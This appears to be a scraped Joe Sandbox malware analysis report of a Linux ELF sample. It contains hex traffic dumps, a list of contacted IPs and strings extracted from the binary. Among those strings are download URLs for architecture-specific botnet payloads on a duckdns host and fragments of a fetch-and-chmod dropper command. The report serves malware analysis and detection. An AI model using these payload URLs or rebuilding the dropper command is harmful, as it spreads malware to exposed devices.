a8 c8 37 ae f1 94 51 aa 66 0b b1 88 4c 82 5d 0b 11 d8 17 35 3a 0c 38 8e 69 64 11 31 6c 4b 75 3d 6f db 58 c1 84 29 aa 98 26 d6 55 15 ba 5c f4 8f a2 dd 2f 7c 84 b1 1e b5 48 5f ab 72 ea 30 a3 78 a7 42 ab 8f a7 ab 0b cb 6f 16 0d 7f 0b e0 6e ef cf d0 61 33 d7 be 59 33 0f 23 37 9b 57 43 0e 54 3d 2a 32 ad 72 f4 6c c9 78 59 d7 70 48 a8 18 c1 63 44 3d 82 46 10 1f 15 29 c5 96 51 58 6a 8f 2a 87 47 1d 5c b0 8f 18 fb 31 21 86 95 f3 04 4d 18 17 87 90 87 0f b8 a6 d8 17 82 74 50 1d ac b9 7f 50 35 0a 28 87 bd 41 30 8e 8b 07 55 b6 78 50 4d a5 95 a4 92 94 53 83 6a 6f 7a ac 37 3d a8 8a 09 11 a4 02 07 c5 b1 72 f0 e2 8d e4 fe 28 47 58 ca f8 c1 ef bd 9c 25 3c d1 77 bb e8 66 b1 d8 37 2e c2 b1 04 bb b3 85 a1 04 26 a0 d9 66 83 ea a8 23 1b 56 d6 2c ea 54 d8 11 8f 0d b0 45 32 38 14 c3 9e 95 82 61 29 47 bc 5d 23 d8 d5 76 28 69 25 d5 2b 4e 4e f6 53 6b 75 0e 17 ad 2c f5 6c 1c 27 50 82 48 e3 23 c8 15 ac 84 9b b0 13 86 86 94 ac 8b 41 fe 5e 13 53 b8 c4 c5 2c b2 c0 d8 a2 94 70 34 43 c9 61 b2 87 86 8d 31 d2 d5 15 7d 8b 8b 69 5d 94 fa 6b 8c 05 0f 58 87 8c 91 b6 9f b8 e0 0d 65 d8 b5 0b 7b 20 3a ed b1 75 dc ef 28 59 d0 d2 dd 87 b3 24 9e 4c 24 13 86 c2 03 8f a1 e4 b1 91 cb 13 10 a7 40 80 31 3f a3 cc 91 42 e1 58 8a 93 bc e1 25 b0 04 e4 49 a9 1f 83 3a c4 fe 10 11 74 60 df 27 71 a9 df c5 a4 e8 5a c2 1f 67 4c 38 e3 04 d6 b4 66 d6 93 f5 6d 65 e3 98 6f 8a ac b7 53 88 47 a9 9f 28 9e 9b d5 60 ff 8a 0e 61 c7 d5 88 d2 1e b9 09 44 0d 18 ae f7 3e 28 7d 86 72 9f 42 88 8e 8b 34 9e 8b d2 c1 e4 21 aa 1d b6 f4 3d 79 c3 d4 e3 04 f4 b0 dd b8 ad ed 76 5d 54 8a 8b c3 26 a2 c0 e1 40 91 40 9a 57 74 68 60 f7 b4 71 0c 3e 2f c1 9e ac 5c 5f 67 32 d1 78 db 3b 96 c5 0e f9 08 16 c2 f8 64 c2 d5 92 fd 6e c6 56 4c 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 23 Oct 2022 15:57:11 GMTServer: Apache/2.2.22 (Debian)X-Powered-By: PHP/5.4.36-0+deb7u3Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 20Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 23 Oct 2022 15:56:41 GMTServer: ApacheX-Powered-By: PHP/5.3.10-1ubuntu3.26Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 1716Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 58 5b 73 da 46 14 7e c6 bf e2 44 9d 8e 7b 41 08 81 4d 30 06 77 26 be 4c d2 49 5a 4f 43 d2 cb 0b b3 48 6b b4 b6 d0 aa d2 62 0c 69 5e fa d2 df d0 e9 5f c9 63 fc bf 7a f6 22 90 64 04 6e 32 53 cf c8 c0 ee 9e b3 df f9 f6 5c f6 a8 ff e4 ec c7 d3 e1 af 97 e7 10 88 69 08 97 6f 9e bd 7c 71 0a 96 ed 38 3f b7 4f 1d e7 6c 78 06 bf 3c 1f be 7a 09 6e a3 09 c3 84 44 29 13 8c 47 24 74 9c f3 1f 2c b0 02 21 e2 9e e3 cc e7 f3 c6 bc dd e0 c9 c4 19 fe e4 dc 49 5d ae 14 36 5f 6d 91 93 6c f8 c2 b7 4e f6 fa 6a c3 bb 69 18 a5 83 0d 6a dc a3 a3 23 2d 8d 6b 01 fa 01 25 be fc 82 5f a7 54 10 90 12 36 fd 7d c6 6e 07 d6 29 8f 04 8d 84 3d 5c c4 d4 02 4f ff 1a 58 82 de 09 47 6a 38 06 2f 20 49 4a c5 e0 cd f0 c2 ee 5a e0 18 4d 82 89 90 9e 3c e7 a9 60 d1 a4 0e af 69 32 a7 c9 a2 0e 97 dc 5b e2 1e 7f c0 90 7a c1 2b ea 33 d2 77 f4 5a 2d 97 8a 45 48 41 e0 76 66 17 2f 4d 2d 98 ca 85 03 2b f5 12 4a 23 85 fa 1b 78 a7 04 a6 24 99 b0 a8 07 cd f8 2e ff 1c ab c9 98 f8 3e 6e bf 71 f6 fd 1e fe 1b 73 1f 31 29 ba de 15 25 ba 72 69 7b fd 68 85 63 e2 dd 4c 12 3e 8b 7c db e3 21 4f 7a f0 c5 59 f7 ec d9 79 4b 4f 5f 21 3f f6 15 99 b2 70 d1 83 b7 34 f1 49 44 ea 90 e2 01 d9 29 4d d8 55 6e 55 ca 96 b4 07 ae 1b 0b 3d 28 6d b5 49 c8 26 68 8b 87 1c d3 c4 80 6c 84 2c ba 19 45 3c 99 92 10 48 4f fe aa 97 07 6f 19 7a 00 f5 d1 86 9a d2 e3 53 8f 27 44 fa 44 0f 22 1e d1 e3 bd 5a 06 b7 a9 fe 8e f7 1e 6a 0e f8 2d 4d 36 aa 40 73 69 82 8b 51 cf 9e a2 cd 67 b7 8d 29 61 d1 28 26 13 9a 31 c7 b5 17 f6 20 a1 21 0a de 52 6d 98 cf d2 38 24 c8 87 20 e3 d0 8c cd 99 2f 02 c9 f1 ea a4 f4 31 da 63 2e 04 9f 22 2f e5 89 90 5e 89 1e 90 99 e0 85 e1 84 4d 82 c2 f8 b6 13 97 c7 9d a0 25 b6 d9 be 55 1a ce 28 6a b9 ad a7 ed 6e 61 4a 79 65 0f 52 1e 32 bf d2 13 2e d4 df 8e e3 d4 e4 49 de 46 32 ee 14 e3 52 20 a0 da 14 b7 b3 42 6b 60 ba cd e6 97 78 80 3b 2c 7b 08 a7 7b 7e 74 fa 0c 1d b3 96 c7 22 79 ac 44 92 c6 24 7a 4c 58 e5 1d f8 40 82 5b 0d ce 8d 15 63 1e fa 95 db b0 e9 c4 ec a2 d9 ed 3d 0c 4d 00 23 27 78 3c a2 21 9d 22 85 e5 08 6d 1f ee c2 e6 6e c1 56 db 71 42 ca 5b 47 fc 6a 64 72 5e 6a b6 f7 42 4a 92 35 8f c8 14 ba 61 e6 50 65 7f ee e5 33 c8 d6 2c 52 e5 3b 0f ce eb 01 ae 11 46 fe b4 0a 5c c1 85 f2 b8 0e 1e e9 44 79 5c e5 14 f2 a9 58 49 c9 c7 3a 39 2c 9d 5c 72 96 2a 8c e4 28 a5 9e 4c 2e 25 49 e9 01 b9 e7 f3 d9 2d 6d 37 92 8b cb 7e d7 92 38 bb f8 64 5f 2a b7 ed 74 0e 0f c7 e3 6a f2 0a 71 24 f5 d4 64 92 b5 b3 54 d0 a2 d3 52 34 6c 82 37 a2 d1 a7 23 ec d2 23 6f dc fa 7c 84 db e8 8b 13 5a 3a b6 ae 39 ec ee c6 5a dd 35 33 dd 02 f6 42 e6 76 4b c3 26 3d fb 58 3d a8 5f 98 d9 64 d4 26 07 39 bc e8 5c 3c cd db ac 35 32 81 9e e2 3d c2 c6 82 85 ab 32 b6 c3 9b b5 ec 2c ac 57 4f 86 ac 7c b8 07 86 1a f9 e9 96 37 c8 64 0b a5 65 9d 31 75 80 65 9f 3b 2b 47 de 2b f2

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 222.23.23.192
Source: unknown	TCP traffic detected without corresponding DNS query: 109.87.152.207
Source: unknown	TCP traffic detected without corresponding DNS query: 80.214.103.169
Source: unknown	TCP traffic detected without corresponding DNS query: 37.140.206.211
Source: unknown	TCP traffic detected without corresponding DNS query: 19.85.208.199
Source: unknown	TCP traffic detected without corresponding DNS query: 134.27.53.140
Source: unknown	TCP traffic detected without corresponding DNS query: 60.209.78.253
Source: unknown	TCP traffic detected without corresponding DNS query: 165.207.212.200
Source: unknown	TCP traffic detected without corresponding DNS query: 123.206.170.145
Source: unknown	TCP traffic detected without corresponding DNS query: 121.29.64.90
Source: unknown	TCP traffic detected without corresponding DNS query: 75.99.229.161
Source: unknown	TCP traffic detected without corresponding DNS query: 147.53.59.217
Source: unknown	TCP traffic detected without corresponding DNS query: 135.238.90.106
Source: unknown	TCP traffic detected without corresponding DNS query: 162.5.43.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.184.6
Source: unknown	TCP traffic detected without corresponding DNS query: 98.62.32.223
Source: unknown	TCP traffic detected without corresponding DNS query: 2.238.191.41
Source: unknown	TCP traffic detected without corresponding DNS query: 220.135.98.123
Source: unknown	TCP traffic detected without corresponding DNS query: 80.60.181.214
Source: unknown	TCP traffic detected without corresponding DNS query: 213.3.251.166
Source: unknown	TCP traffic detected without corresponding DNS query: 155.190.239.147
Source: unknown	TCP traffic detected without corresponding DNS query: 212.34.177.6
Source: unknown	TCP traffic detected without corresponding DNS query: 147.194.106.81
Source: unknown	TCP traffic detected without corresponding DNS query: 108.146.78.50
Source: unknown	TCP traffic detected without corresponding DNS query: 32.191.185.164
Source: unknown	TCP traffic detected without corresponding DNS query: 101.134.148.111
Source: unknown	TCP traffic detected without corresponding DNS query: 190.218.2.237
Source: unknown	TCP traffic detected without corresponding DNS query: 179.152.150.23
Source: unknown	TCP traffic detected without corresponding DNS query: 181.96.99.70
Source: unknown	TCP traffic detected without corresponding DNS query: 221.171.49.53
Source: unknown	TCP traffic detected without corresponding DNS query: 20.206.189.65
Source: unknown	TCP traffic detected without corresponding DNS query: 167.225.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 39.108.234.201
Source: unknown	TCP traffic detected without corresponding DNS query: 92.142.213.147
Source: unknown	TCP traffic detected without corresponding DNS query: 105.25.164.152
Source: unknown	TCP traffic detected without corresponding DNS query: 171.56.218.147
Source: unknown	TCP traffic detected without corresponding DNS query: 201.164.93.35
Source: unknown	TCP traffic detected without corresponding DNS query: 51.68.12.48
Source: unknown	TCP traffic detected without corresponding DNS query: 116.177.176.181
Source: unknown	TCP traffic detected without corresponding DNS query: 137.185.234.82
Source: unknown	TCP traffic detected without corresponding DNS query: 97.87.209.125
Source: unknown	TCP traffic detected without corresponding DNS query: 124.201.113.98
Source: unknown	TCP traffic detected without corresponding DNS query: 223.135.170.20
Source: unknown	TCP traffic detected without corresponding DNS query: 96.230.43.72
Source: unknown	TCP traffic detected without corresponding DNS query: 109.182.249.172
Source: unknown	TCP traffic detected without corresponding DNS query: 77.20.100.37
Source: unknown	TCP traffic detected without corresponding DNS query: 200.147.143.170
Source: unknown	TCP traffic detected without corresponding DNS query: 96.228.215.199

Source: fMB6uAXjd0.elf	String found in binary or memory: http://amkbins.duckdns.org/bins/ascaris.arm7;
Source: fMB6uAXjd0.elf	String found in binary or memory: http://amkbins.duckdns.org/bins/ascaris.arm7;chmod
Source: fMB6uAXjd0.elf	String found in binary or memory: http://amkbins.duckdns.org/bins/ascaris.mips
Source: fMB6uAXjd0.elf	String found in binary or memory: http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20-
Source: fMB6uAXjd0.elf	String found in binary or memory: http://amkbins.duckdns.org/bins/ascaris.x86
Source: fMB6uAXjd0.elf	String found in binary or memory: http://amkbins.duckdns.org/gpon
Source: fMB6uAXjd0.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: fMB6uAXjd0.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report fMB6uAXjd0.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
fMB6uAXjd0.elf